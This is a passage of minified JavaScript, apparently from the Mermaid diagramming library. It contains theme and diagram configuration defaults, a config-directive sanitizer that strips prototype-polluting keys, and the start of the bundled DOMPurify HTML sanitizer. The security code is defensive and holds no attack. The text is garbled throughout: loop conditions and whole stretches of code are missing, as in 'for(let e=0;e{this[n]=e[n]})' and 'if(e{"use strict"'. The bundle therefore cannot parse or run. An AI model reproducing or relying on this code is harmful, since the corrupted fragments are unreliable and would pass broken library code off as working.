sans-serif',this.fontSize="16px",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="calculated",this.edgeLabelBackground="white",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="calculated",this.actorLineColor=this.actorBorder,this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="calculated",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="calculated",this.altSectionBkgColor="white",this.sectionBkgColor2="calculated",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="calculated",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="calculated",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="calculated",this.critBkgColor="calculated",this.critBorderColor="calculated",this.todayLineColor="calculated",this.vertLineColor="calculated",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd=this.rowOdd||Rt(this.mainBkg,75)||"#ffffff",this.rowEven=this.rowEven||"#f4f4f4",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222"}updateColors(){this.secondBkg=Rt(this.contrast,55),this.border2=this.contrast,this.actorBorder=Rt(this.border1,23),this.actorBkg=this.mainBkg,this.actorTextColor=this.text,this.actorLineColor=this.actorBorder,this.signalColor=this.text,this.signalTextColor=this.text,this.labelBoxBkgColor=this.actorBkg,this.labelBoxBorderColor=this.actorBorder,this.labelTextColor=this.text,this.loopTextColor=this.text,this.noteBorderColor="#999",this.noteBkgColor="#666",this.noteTextColor="#fff",this.cScale0=this.cScale0||"#555",this.cScale1=this.cScale1||"#F4F4F4",this.cScale2=this.cScale2||"#555",this.cScale3=this.cScale3||"#BBB",this.cScale4=this.cScale4||"#777",this.cScale5=this.cScale5||"#999",this.cScale6=this.cScale6||"#DDD",this.cScale7=this.cScale7||"#FFF",this.cScale8=this.cScale8||"#DDD",this.cScale9=this.cScale9||"#BBB",this.cScale10=this.cScale10||"#999",this.cScale11=this.cScale11||"#777";for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},VG=o(t=>{let e=new E7;return e.calculate(t),e},"getThemeVariables")});var So,e3=N(()=>{"use strict";BG();$G();Oy();GG();UG();So={base:{getThemeVariables:PG},dark:{getThemeVariables:FG},default:{getThemeVariables:mh},forest:{getThemeVariables:zG},neutral:{getThemeVariables:VG}}});var ul,HG=N(()=>{"use strict";ul={flowchart:{useMaxWidth:!0,titleTopMargin:25,subGraphTitleMargin:{top:0,bottom:0},diagramPadding:8,htmlLabels:!0,nodeSpacing:50,rankSpacing:50,curve:"basis",padding:15,defaultRenderer:"dagre-wrapper",wrappingWidth:200,inheritDir:!1},sequence:{useMaxWidth:!0,hideUnusedParticipants:!1,activationWidth:10,diagramMarginX:50,diagramMarginY:10,actorMargin:50,width:150,height:65,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",mirrorActors:!0,forceMenus:!1,bottomMarginAdj:1,rightAngles:!1,showSequenceNumbers:!1,actorFontSize:14,actorFontFamily:'"Open Sans", sans-serif',actorFontWeight:400,noteFontSize:14,noteFontFamily:'"trebuchet ms", verdana, arial, sans-serif',noteFontWeight:400,noteAlign:"center",messageFontSize:16,messageFontFamily:'"trebuchet ms", verdana, arial, sans-serif',messageFontWeight:400,wrap:!1,wrapPadding:10,labelBoxWidth:50,labelBoxHeight:20},gantt:{useMaxWidth:!0,titleTopMargin:25,barHeight:20,barGap:4,topPadding:50,rightPadding:75,leftPadding:75,gridLineStartPadding:35,fontSize:11,sectionFontSize:11,numberSectionStyles:4,axisFormat:"%Y-%m-%d",topAxis:!1,displayMode:"",weekday:"sunday"},journey:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,leftMargin:150,maxLabelWidth:360,width:150,height:50,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",bottomMarginAdj:1,rightAngles:!1,taskFontSize:14,taskFontFamily:'"Open Sans", sans-serif',taskMargin:50,activationWidth:10,textPlacement:"fo",actorColours:["#8FBC8F","#7CFC00","#00FFFF","#20B2AA","#B0E0E6","#FFFFE0"],sectionFills:["#191970","#8B008B","#4B0082","#2F4F4F","#800000","#8B4513","#00008B"],sectionColours:["#fff"],titleColor:"",titleFontFamily:'"trebuchet ms", verdana, arial, sans-serif',titleFontSize:"4ex"},class:{useMaxWidth:!0,titleTopMargin:25,arrowMarkerAbsolute:!1,dividerMargin:10,padding:5,textHeight:10,defaultRenderer:"dagre-wrapper",htmlLabels:!1,hideEmptyMembersBox:!1},state:{useMaxWidth:!0,titleTopMargin:25,dividerMargin:10,sizeUnit:5,padding:8,textHeight:10,titleShift:-15,noteMargin:10,forkWidth:70,forkHeight:7,miniPadding:2,fontSizeFactor:5.02,fontSize:24,labelHeight:16,edgeLengthFactor:"20",compositTitleSize:35,radius:5,defaultRenderer:"dagre-wrapper"},er:{useMaxWidth:!0,titleTopMargin:25,diagramPadding:20,layoutDirection:"TB",minEntityWidth:100,minEntityHeight:75,entityPadding:15,nodeSpacing:140,rankSpacing:80,stroke:"gray",fill:"honeydew",fontSize:12},pie:{useMaxWidth:!0,textPosition:.75},quadrantChart:{useMaxWidth:!0,chartWidth:500,chartHeight:500,titleFontSize:20,titlePadding:10,quadrantPadding:5,xAxisLabelPadding:5,yAxisLabelPadding:5,xAxisLabelFontSize:16,yAxisLabelFontSize:16,quadrantLabelFontSize:16,quadrantTextTopPadding:5,pointTextPadding:5,pointLabelFontSize:12,pointRadius:5,xAxisPosition:"top",yAxisPosition:"left",quadrantInternalBorderStrokeWidth:1,quadrantExternalBorderStrokeWidth:2},xyChart:{useMaxWidth:!0,width:700,height:500,titleFontSize:20,titlePadding:10,showDataLabel:!1,showTitle:!0,xAxis:{$ref:"#/$defs/XYChartAxisConfig",showLabel:!0,labelFontSize:14,labelPadding:5,showTitle:!0,titleFontSize:16,titlePadding:5,showTick:!0,tickLength:5,tickWidth:2,showAxisLine:!0,axisLineWidth:2},yAxis:{$ref:"#/$defs/XYChartAxisConfig",showLabel:!0,labelFontSize:14,labelPadding:5,showTitle:!0,titleFontSize:16,titlePadding:5,showTick:!0,tickLength:5,tickWidth:2,showAxisLine:!0,axisLineWidth:2},chartOrientation:"vertical",plotReservedSpacePercent:50},requirement:{useMaxWidth:!0,rect_fill:"#f9f9f9",text_color:"#333",rect_border_size:"0.5px",rect_border_color:"#bbb",rect_min_width:200,rect_min_height:200,fontSize:14,rect_padding:10,line_height:20},mindmap:{useMaxWidth:!0,padding:10,maxNodeWidth:200,layoutAlgorithm:"cose-bilkent"},kanban:{useMaxWidth:!0,padding:8,sectionWidth:200,ticketBaseUrl:""},timeline:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,leftMargin:150,width:150,height:50,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",bottomMarginAdj:1,rightAngles:!1,taskFontSize:14,taskFontFamily:'"Open Sans", sans-serif',taskMargin:50,activationWidth:10,textPlacement:"fo",actorColours:["#8FBC8F","#7CFC00","#00FFFF","#20B2AA","#B0E0E6","#FFFFE0"],sectionFills:["#191970","#8B008B","#4B0082","#2F4F4F","#800000","#8B4513","#00008B"],sectionColours:["#fff"],disableMulticolor:!1},gitGraph:{useMaxWidth:!0,titleTopMargin:25,diagramPadding:8,nodeLabel:{width:75,height:100,x:-25,y:0},mainBranchName:"main",mainBranchOrder:0,showCommitLabel:!0,showBranches:!0,rotateCommitLabel:!0,parallelCommits:!1,arrowMarkerAbsolute:!1},c4:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,c4ShapeMargin:50,c4ShapePadding:20,width:216,height:60,boxMargin:10,c4ShapeInRow:4,nextLinePaddingX:0,c4BoundaryInRow:2,personFontSize:14,personFontFamily:'"Open Sans", sans-serif',personFontWeight:"normal",external_personFontSize:14,external_personFontFamily:'"Open Sans", sans-serif',external_personFontWeight:"normal",systemFontSize:14,systemFontFamily:'"Open Sans", sans-serif',systemFontWeight:"normal",external_systemFontSize:14,external_systemFontFamily:'"Open Sans", sans-serif',external_systemFontWeight:"normal",system_dbFontSize:14,system_dbFontFamily:'"Open Sans", sans-serif',system_dbFontWeight:"normal",external_system_dbFontSize:14,external_system_dbFontFamily:'"Open Sans", sans-serif',external_system_dbFontWeight:"normal",system_queueFontSize:14,system_queueFontFamily:'"Open Sans", sans-serif',system_queueFontWeight:"normal",external_system_queueFontSize:14,external_system_queueFontFamily:'"Open Sans", sans-serif',external_system_queueFontWeight:"normal",boundaryFontSize:14,boundaryFontFamily:'"Open Sans", sans-serif',boundaryFontWeight:"normal",messageFontSize:12,messageFontFamily:'"Open Sans", sans-serif',messageFontWeight:"normal",containerFontSize:14,containerFontFamily:'"Open Sans", sans-serif',containerFontWeight:"normal",external_containerFontSize:14,external_containerFontFamily:'"Open Sans", sans-serif',external_containerFontWeight:"normal",container_dbFontSize:14,container_dbFontFamily:'"Open Sans", sans-serif',container_dbFontWeight:"normal",external_container_dbFontSize:14,external_container_dbFontFamily:'"Open Sans", sans-serif',external_container_dbFontWeight:"normal",container_queueFontSize:14,container_queueFontFamily:'"Open Sans", sans-serif',container_queueFontWeight:"normal",external_container_queueFontSize:14,external_container_queueFontFamily:'"Open Sans", sans-serif',external_container_queueFontWeight:"normal",componentFontSize:14,componentFontFamily:'"Open Sans", sans-serif',componentFontWeight:"normal",external_componentFontSize:14,external_componentFontFamily:'"Open Sans", sans-serif',external_componentFontWeight:"normal",component_dbFontSize:14,component_dbFontFamily:'"Open Sans", sans-serif',component_dbFontWeight:"normal",external_component_dbFontSize:14,external_component_dbFontFamily:'"Open Sans", sans-serif',external_component_dbFontWeight:"normal",component_queueFontSize:14,component_queueFontFamily:'"Open Sans", sans-serif',component_queueFontWeight:"normal",external_component_queueFontSize:14,external_component_queueFontFamily:'"Open Sans", sans-serif',external_component_queueFontWeight:"normal",wrap:!0,wrapPadding:10,person_bg_color:"#08427B",person_border_color:"#073B6F",external_person_bg_color:"#686868",external_person_border_color:"#8A8A8A",system_bg_color:"#1168BD",system_border_color:"#3C7FC0",system_db_bg_color:"#1168BD",system_db_border_color:"#3C7FC0",system_queue_bg_color:"#1168BD",system_queue_border_color:"#3C7FC0",external_system_bg_color:"#999999",external_system_border_color:"#8A8A8A",external_system_db_bg_color:"#999999",external_system_db_border_color:"#8A8A8A",external_system_queue_bg_color:"#999999",external_system_queue_border_color:"#8A8A8A",container_bg_color:"#438DD5",container_border_color:"#3C7FC0",container_db_bg_color:"#438DD5",container_db_border_color:"#3C7FC0",container_queue_bg_color:"#438DD5",container_queue_border_color:"#3C7FC0",external_container_bg_color:"#B3B3B3",external_container_border_color:"#A6A6A6",external_container_db_bg_color:"#B3B3B3",external_container_db_border_color:"#A6A6A6",external_container_queue_bg_color:"#B3B3B3",external_container_queue_border_color:"#A6A6A6",component_bg_color:"#85BBF0",component_border_color:"#78A8D8",component_db_bg_color:"#85BBF0",component_db_border_color:"#78A8D8",component_queue_bg_color:"#85BBF0",component_queue_border_color:"#78A8D8",external_component_bg_color:"#CCCCCC",external_component_border_color:"#BFBFBF",external_component_db_bg_color:"#CCCCCC",external_component_db_border_color:"#BFBFBF",external_component_queue_bg_color:"#CCCCCC",external_component_queue_border_color:"#BFBFBF"},sankey:{useMaxWidth:!0,width:600,height:400,linkColor:"gradient",nodeAlignment:"justify",showValues:!0,prefix:"",suffix:""},block:{useMaxWidth:!0,padding:8},packet:{useMaxWidth:!0,rowHeight:32,bitWidth:32,bitsPerRow:32,showBits:!0,paddingX:5,paddingY:5},architecture:{useMaxWidth:!0,padding:40,iconSize:80,fontSize:16},radar:{useMaxWidth:!0,width:600,height:600,marginTop:50,marginRight:50,marginBottom:50,marginLeft:50,axisScaleFactor:1,axisLabelFactor:1.05,curveTension:.17},theme:"default",look:"classic",handDrawnSeed:0,layout:"dagre",maxTextSize:5e4,maxEdges:500,darkMode:!1,fontFamily:'"trebuchet ms", verdana, arial, sans-serif;',logLevel:5,securityLevel:"strict",startOnLoad:!0,arrowMarkerAbsolute:!1,secure:["secure","securityLevel","startOnLoad","maxTextSize","suppressErrorRendering","maxEdges"],legacyMathML:!1,forceLegacyMathML:!1,deterministicIds:!1,fontSize:16,markdownAutoWrap:!0,suppressErrorRendering:!1}});var qG,WG,YG,ur,La=N(()=>{"use strict";e3();HG();qG={...ul,deterministicIDSeed:void 0,elk:{mergeEdges:!1,nodePlacementStrategy:"BRANDES_KOEPF",forceNodeModelOrder:!1,considerModelOrder:"NODES_AND_EDGES"},themeCSS:void 0,themeVariables:So.default.getThemeVariables(),sequence:{...ul.sequence,messageFont:o(function(){return{fontFamily:this.messageFontFamily,fontSize:this.messageFontSize,fontWeight:this.messageFontWeight}},"messageFont"),noteFont:o(function(){return{fontFamily:this.noteFontFamily,fontSize:this.noteFontSize,fontWeight:this.noteFontWeight}},"noteFont"),actorFont:o(function(){return{fontFamily:this.actorFontFamily,fontSize:this.actorFontSize,fontWeight:this.actorFontWeight}},"actorFont")},class:{hideEmptyMembersBox:!1},gantt:{...ul.gantt,tickInterval:void 0,useWidth:void 0},c4:{...ul.c4,useWidth:void 0,personFont:o(function(){return{fontFamily:this.personFontFamily,fontSize:this.personFontSize,fontWeight:this.personFontWeight}},"personFont"),flowchart:{...ul.flowchart,inheritDir:!1},external_personFont:o(function(){return{fontFamily:this.external_personFontFamily,fontSize:this.external_personFontSize,fontWeight:this.external_personFontWeight}},"external_personFont"),systemFont:o(function(){return{fontFamily:this.systemFontFamily,fontSize:this.systemFontSize,fontWeight:this.systemFontWeight}},"systemFont"),external_systemFont:o(function(){return{fontFamily:this.external_systemFontFamily,fontSize:this.external_systemFontSize,fontWeight:this.external_systemFontWeight}},"external_systemFont"),system_dbFont:o(function(){return{fontFamily:this.system_dbFontFamily,fontSize:this.system_dbFontSize,fontWeight:this.system_dbFontWeight}},"system_dbFont"),external_system_dbFont:o(function(){return{fontFamily:this.external_system_dbFontFamily,fontSize:this.external_system_dbFontSize,fontWeight:this.external_system_dbFontWeight}},"external_system_dbFont"),system_queueFont:o(function(){return{fontFamily:this.system_queueFontFamily,fontSize:this.system_queueFontSize,fontWeight:this.system_queueFontWeight}},"system_queueFont"),external_system_queueFont:o(function(){return{fontFamily:this.external_system_queueFontFamily,fontSize:this.external_system_queueFontSize,fontWeight:this.external_system_queueFontWeight}},"external_system_queueFont"),containerFont:o(function(){return{fontFamily:this.containerFontFamily,fontSize:this.containerFontSize,fontWeight:this.containerFontWeight}},"containerFont"),external_containerFont:o(function(){return{fontFamily:this.external_containerFontFamily,fontSize:this.external_containerFontSize,fontWeight:this.external_containerFontWeight}},"external_containerFont"),container_dbFont:o(function(){return{fontFamily:this.container_dbFontFamily,fontSize:this.container_dbFontSize,fontWeight:this.container_dbFontWeight}},"container_dbFont"),external_container_dbFont:o(function(){return{fontFamily:this.external_container_dbFontFamily,fontSize:this.external_container_dbFontSize,fontWeight:this.external_container_dbFontWeight}},"external_container_dbFont"),container_queueFont:o(function(){return{fontFamily:this.container_queueFontFamily,fontSize:this.container_queueFontSize,fontWeight:this.container_queueFontWeight}},"container_queueFont"),external_container_queueFont:o(function(){return{fontFamily:this.external_container_queueFontFamily,fontSize:this.external_container_queueFontSize,fontWeight:this.external_container_queueFontWeight}},"external_container_queueFont"),componentFont:o(function(){return{fontFamily:this.componentFontFamily,fontSize:this.componentFontSize,fontWeight:this.componentFontWeight}},"componentFont"),external_componentFont:o(function(){return{fontFamily:this.external_componentFontFamily,fontSize:this.external_componentFontSize,fontWeight:this.external_componentFontWeight}},"external_componentFont"),component_dbFont:o(function(){return{fontFamily:this.component_dbFontFamily,fontSize:this.component_dbFontSize,fontWeight:this.component_dbFontWeight}},"component_dbFont"),external_component_dbFont:o(function(){return{fontFamily:this.external_component_dbFontFamily,fontSize:this.external_component_dbFontSize,fontWeight:this.external_component_dbFontWeight}},"external_component_dbFont"),component_queueFont:o(function(){return{fontFamily:this.component_queueFontFamily,fontSize:this.component_queueFontSize,fontWeight:this.component_queueFontWeight}},"component_queueFont"),external_component_queueFont:o(function(){return{fontFamily:this.external_component_queueFontFamily,fontSize:this.external_component_queueFontSize,fontWeight:this.external_component_queueFontWeight}},"external_component_queueFont"),boundaryFont:o(function(){return{fontFamily:this.boundaryFontFamily,fontSize:this.boundaryFontSize,fontWeight:this.boundaryFontWeight}},"boundaryFont"),messageFont:o(function(){return{fontFamily:this.messageFontFamily,fontSize:this.messageFontSize,fontWeight:this.messageFontWeight}},"messageFont")},pie:{...ul.pie,useWidth:984},xyChart:{...ul.xyChart,useWidth:void 0},requirement:{...ul.requirement,useWidth:void 0},packet:{...ul.packet},radar:{...ul.radar},treemap:{useMaxWidth:!0,padding:10,diagramPadding:8,showValues:!0,nodeWidth:100,nodeHeight:40,borderWidth:1,valueFontSize:12,labelFontSize:14,valueFormat:","}},WG=o((t,e="")=>Object.keys(t).reduce((r,n)=>Array.isArray(t[n])?r:typeof t[n]=="object"&&t[n]!==null?[...r,e+n,...WG(t[n],"")]:[...r,e+n],[]),"keyify"),YG=new Set(WG(qG,"")),ur=qG});var b0,T5e,S7=N(()=>{"use strict";La();pt();b0=o(t=>{if(X.debug("sanitizeDirective called with",t),!(typeof t!="object"||t==null)){if(Array.isArray(t)){t.forEach(e=>b0(e));return}for(let e of Object.keys(t)){if(X.debug("Checking key",e),e.startsWith("__")||e.includes("proto")||e.includes("constr")||!YG.has(e)||t[e]==null){X.debug("sanitize deleting key: ",e),delete t[e];continue}if(typeof t[e]=="object"){X.debug("sanitizing object",e),b0(t[e]);continue}let r=["themeCSS","fontFamily","altFontFamily"];for(let n of r)e.includes(n)&&(X.debug("sanitizing css option",e),t[e]=T5e(t[e]))}if(t.themeVariables)for(let e of Object.keys(t.themeVariables)){let r=t.themeVariables[e];r?.match&&!r.match(/^[\d "#%(),.;A-Za-z]+$/)&&(t.themeVariables[e]="")}X.debug("After sanitization",t)}},"sanitizeDirective"),T5e=o(t=>{let e=0,r=0;for(let n of t){if(e{"use strict";v0();pt();e3();La();S7();gh=Object.freeze(ur),Es=Rn({},gh),cd=[],Py=Rn({},gh),r3=o((t,e)=>{let r=Rn({},t),n={};for(let i of e)QG(i),n=Rn(n,i);if(r=Rn(r,n),n.theme&&n.theme in So){let i=Rn({},t3),a=Rn(i.themeVariables||{},n.themeVariables);r.theme&&r.theme in So&&(r.themeVariables=So[r.theme].getThemeVariables(a))}return Py=r,JG(Py),Py},"updateCurrentConfig"),C7=o(t=>(Es=Rn({},gh),Es=Rn(Es,t),t.theme&&So[t.theme]&&(Es.themeVariables=So[t.theme].getThemeVariables(t.themeVariables)),r3(Es,cd),Es),"setSiteConfig"),jG=o(t=>{t3=Rn({},t)},"saveConfigFromInitialize"),KG=o(t=>(Es=Rn(Es,t),r3(Es,cd),Es),"updateSiteConfig"),A7=o(()=>Rn({},Es),"getSiteConfig"),n3=o(t=>(JG(t),Rn(Py,t),Qt()),"setConfig"),Qt=o(()=>Rn({},Py),"getConfig"),QG=o(t=>{t&&(["secure",...Es.secure??[]].forEach(e=>{Object.hasOwn(t,e)&&(X.debug(`Denied attempt to modify a secure key ${e}`,t[e]),delete t[e])}),Object.keys(t).forEach(e=>{e.startsWith("__")&&delete t[e]}),Object.keys(t).forEach(e=>{typeof t[e]=="string"&&(t[e].includes("<")||t[e].includes(">")||t[e].includes("url(data:"))&&delete t[e],typeof t[e]=="object"&&QG(t[e])}))},"sanitize"),ZG=o(t=>{b0(t),t.fontFamily&&!t.themeVariables?.fontFamily&&(t.themeVariables={...t.themeVariables,fontFamily:t.fontFamily}),cd.push(t),r3(Es,cd)},"addDirective"),By=o((t=Es)=>{cd=[],r3(t,cd)},"reset"),w5e={LAZY_LOAD_DEPRECATED:"The configuration options lazyLoadedDiagrams and loadExternalDiagramsAtStartup are deprecated. Please use registerExternalDiagrams instead."},XG={},k5e=o(t=>{XG[t]||(X.warn(w5e[t]),XG[t]=!0)},"issueWarning"),JG=o(t=>{t&&(t.lazyLoadedDiagrams||t.loadExternalDiagramsAtStartup)&&k5e("LAZY_LOAD_DEPRECATED")},"checkConfig"),eV=o(()=>{let t={};t3&&(t=Rn(t,t3));for(let e of cd)t=Rn(t,e);return t},"getUserDefinedConfig")});function Ja(t){return function(e){e instanceof RegExp&&(e.lastIndex=0);for(var r=arguments.length,n=new Array(r>1?r-1:0),i=1;i2&&arguments[2]!==void 0?arguments[2]:s3;tV&&tV(t,null);let n=e.length;for(;n--;){let i=e[n];if(typeof i=="string"){let a=r(i);a!==i&&(E5e(e)||(e[n]=a),i=a)}t[i]=!0}return t}function N5e(t){for(let e=0;e0&&arguments[0]!==void 0?arguments[0]:U5e(),e=o(Ct=>pV(Ct),"DOMPurify");if(e.version="3.2.6",e.removed=[],!t||!t.document||t.document.nodeType!==Vy.document||!t.Element)return e.isSupported=!1,e;let{document:r}=t,n=r,i=n.currentScript,{DocumentFragment:a,HTMLTemplateElement:s,Node:l,Element:u,NodeFilter:h,NamedNodeMap:f=t.NamedNodeMap||t.MozNamedAttrMap,HTMLFormElement:d,DOMParser:p,trustedTypes:m}=t,g=u.prototype,y=Gy(g,"cloneNode"),v=Gy(g,"remove"),x=Gy(g,"nextSibling"),b=Gy(g,"childNodes"),T=Gy(g,"parentNode");if(typeof s=="function"){let Ct=r.createElement("template");Ct.content&&Ct.content.ownerDocument&&(r=Ct.content.ownerDocument)}let S,w="",{implementation:k,createNodeIterator:A,createDocumentFragment:C,getElementsByTagName:R}=r,{importNode:I}=n,L=cV();e.isSupported=typeof uV=="function"&&typeof T=="function"&&k&&k.createHTMLDocument!==void 0;let{MUSTACHE_EXPR:E,ERB_EXPR:D,TMPLIT_EXPR:_,DATA_ATTR:O,ARIA_ATTR:M,IS_SCRIPT_OR_DATA:P,ATTR_WHITESPACE:B,CUSTOM_ELEMENT:F}=lV,{IS_ALLOWED_URI:G}=lV,$=null,U=Nr({},[...iV,...D7,...L7,...R7,...aV]),j=null,te=Nr({},[...sV,...N7,...oV,...a3]),Y=Object.seal(hV(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),oe=null,J=null,ue=!0,re=!0,ee=!1,Z=!0,K=!1,ae=!0,Q=!1,de=!1,ne=!1,Te=!1,q=!1,Ve=!1,pe=!0,Be=!1,Ye="user-content-",He=!0,Le=!1,Ie={},Ne=null,Ce=Nr({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]),Fe=null,fe=Nr({},["audio","video","img","source","image","track"]),xe=null,W=Nr({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),he="http://www.w3.org/1998/Math/MathML",z="http://www.w3.org/2000/svg",se="http://www.w3.org/1999/xhtml",le=se,ke=!1,ve=null,ye=Nr({},[he,z,se],_7),Re=Nr({},["mi","mo","mn","ms","mtext"]),_e=Nr({},["annotation-xml"]),ze=Nr({},["title","style","font","a","script"]),Ke=null,xt=["application/xhtml+xml","text/html"],We="text/html",Oe=null,et=null,Ue=r.createElement("form"),lt=o(function(Se){return Se instanceof RegExp||Se instanceof Function},"isRegexOrFunction"),Gt=o(function(){let Se=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};if(!(et&&et===Se)){if((!Se||typeof Se!="object")&&(Se={}),Se=lu(Se),Ke=xt.indexOf(Se.PARSER_MEDIA_TYPE)===-1?We:Se.PARSER_MEDIA_TYPE,Oe=Ke==="application/xhtml+xml"?_7:s3,$=hl(Se,"ALLOWED_TAGS")?Nr({},Se.ALLOWED_TAGS,Oe):U,j=hl(Se,"ALLOWED_ATTR")?Nr({},Se.ALLOWED_ATTR,Oe):te,ve=hl(Se,"ALLOWED_NAMESPACES")?Nr({},Se.ALLOWED_NAMESPACES,_7):ye,xe=hl(Se,"ADD_URI_SAFE_ATTR")?Nr(lu(W),Se.ADD_URI_SAFE_ATTR,Oe):W,Fe=hl(Se,"ADD_DATA_URI_TAGS")?Nr(lu(fe),Se.ADD_DATA_URI_TAGS,Oe):fe,Ne=hl(Se,"FORBID_CONTENTS")?Nr({},Se.FORBID_CONTENTS,Oe):Ce,oe=hl(Se,"FORBID_TAGS")?Nr({},Se.FORBID_TAGS,Oe):lu({}),J=hl(Se,"FORBID_ATTR")?Nr({},Se.FORBID_ATTR,Oe):lu({}),Ie=hl(Se,"USE_PROFILES")?Se.USE_PROFILES:!1,ue=Se.ALLOW_ARIA_ATTR!==!1,re=Se.ALLOW_DATA_ATTR!==!1,ee=Se.ALLOW_UNKNOWN_PROTOCOLS||!1,Z=Se.ALLOW_SELF_CLOSE_IN_ATTR!==!1,K=Se.SAFE_FOR_TEMPLATES||!1,ae=Se.SAFE_FOR_XML!==!1,Q=Se.WHOLE_DOCUMENT||!1,Te=Se.RETURN_DOM||!1,q=Se.RETURN_DOM_FRAGMENT||!1,Ve=Se.RETURN_TRUSTED_TYPE||!1,ne=Se.FORCE_BODY||!1,pe=Se.SANITIZE_DOM!==!1,Be=Se.SANITIZE_NAMED_PROPS||!1,He=Se.KEEP_CONTENT!==!1,Le=Se.IN_PLACE||!1,G=Se.ALLOWED_URI_REGEXP||fV,le=Se.NAMESPACE||se,Re=Se.MATHML_TEXT_INTEGRATION_POINTS||Re,_e=Se.HTML_INTEGRATION_POINTS||_e,Y=Se.CUSTOM_ELEMENT_HANDLING||{},Se.CUSTOM_ELEMENT_HANDLING&<(Se.CUSTOM_ELEMENT_HANDLING.tagNameCheck)&&(Y.tagNameCheck=Se.CUSTOM_ELEMENT_HANDLING.tagNameCheck),Se.CUSTOM_ELEMENT_HANDLING&<(Se.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(Y.attributeNameCheck=Se.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),Se.CUSTOM_ELEMENT_HANDLING&&typeof Se.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements=="boolean"&&(Y.allowCustomizedBuiltInElements=Se.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements),K&&(re=!1),q&&(Te=!0),Ie&&($=Nr({},aV),j=[],Ie.html===!0&&(Nr($,iV),Nr(j,sV)),Ie.svg===!0&&(Nr($,D7),Nr(j,N7),Nr(j,a3)),Ie.svgFilters===!0&&(Nr($,L7),Nr(j,N7),Nr(j,a3)),Ie.mathMl===!0&&(Nr($,R7),Nr(j,oV),Nr(j,a3))),Se.ADD_TAGS&&($===U&&($=lu($)),Nr($,Se.ADD_TAGS,Oe)),Se.ADD_ATTR&&(j===te&&(j=lu(j)),Nr(j,Se.ADD_ATTR,Oe)),Se.ADD_URI_SAFE_ATTR&&Nr(xe,Se.ADD_URI_SAFE_ATTR,Oe),Se.FORBID_CONTENTS&&(Ne===Ce&&(Ne=lu(Ne)),Nr(Ne,Se.FORBID_CONTENTS,Oe)),He&&($["#text"]=!0),Q&&Nr($,["html","head","body"]),$.table&&(Nr($,["tbody"]),delete oe.tbody),Se.TRUSTED_TYPES_POLICY){if(typeof Se.TRUSTED_TYPES_POLICY.createHTML!="function")throw zy('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');if(typeof Se.TRUSTED_TYPES_POLICY.createScriptURL!="function")throw zy('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');S=Se.TRUSTED_TYPES_POLICY,w=S.createHTML("")}else S===void 0&&(S=H5e(m,i)),S!==null&&typeof w=="string"&&(w=S.createHTML(""));Za&&Za(Se),et=Se}},"_parseConfig"),vt=Nr({},[...D7,...L7,...M5e]),Lt=Nr({},[...R7,...I5e]),dt=o(function(Se){let at=T(Se);(!at||!at.tagName)&&(at={namespaceURI:le,tagName:"template"});let Nt=s3(Se.tagName),wr=s3(at.tagName);return ve[Se.namespaceURI]?Se.namespaceURI===z?at.namespaceURI===se?Nt==="svg":at.namespaceURI===he?Nt==="svg"&&(wr==="annotation-xml"||Re[wr]):!!vt[Nt]:Se.namespaceURI===he?at.namespaceURI===se?Nt==="math":at.namespaceURI===z?Nt==="math"&&_e[wr]:!!Lt[Nt]:Se.namespaceURI===se?at.namespaceURI===z&&!_e[wr]||at.namespaceURI===he&&!Re[wr]?!1:!Lt[Nt]&&(ze[Nt]||!vt[Nt]):!!(Ke==="application/xhtml+xml"&&ve[Se.namespaceURI]):!1},"_checkValidNamespace"),nt=o(function(Se){Fy(e.removed,{element:Se});try{T(Se).removeChild(Se)}catch{v(Se)}},"_forceRemove"),bt=o(function(Se,at){try{Fy(e.removed,{attribute:at.getAttributeNode(Se),from:at})}catch{Fy(e.removed,{attribute:null,from:at})}if(at.removeAttribute(Se),Se==="is")if(Te||q)try{nt(at)}catch{}else try{at.setAttribute(Se,"")}catch{}},"_removeAttribute"),wt=o(function(Se){let at=null,Nt=null;if(ne)Se=""+Se;else{let yn=nV(Se,/^[\r\n\t 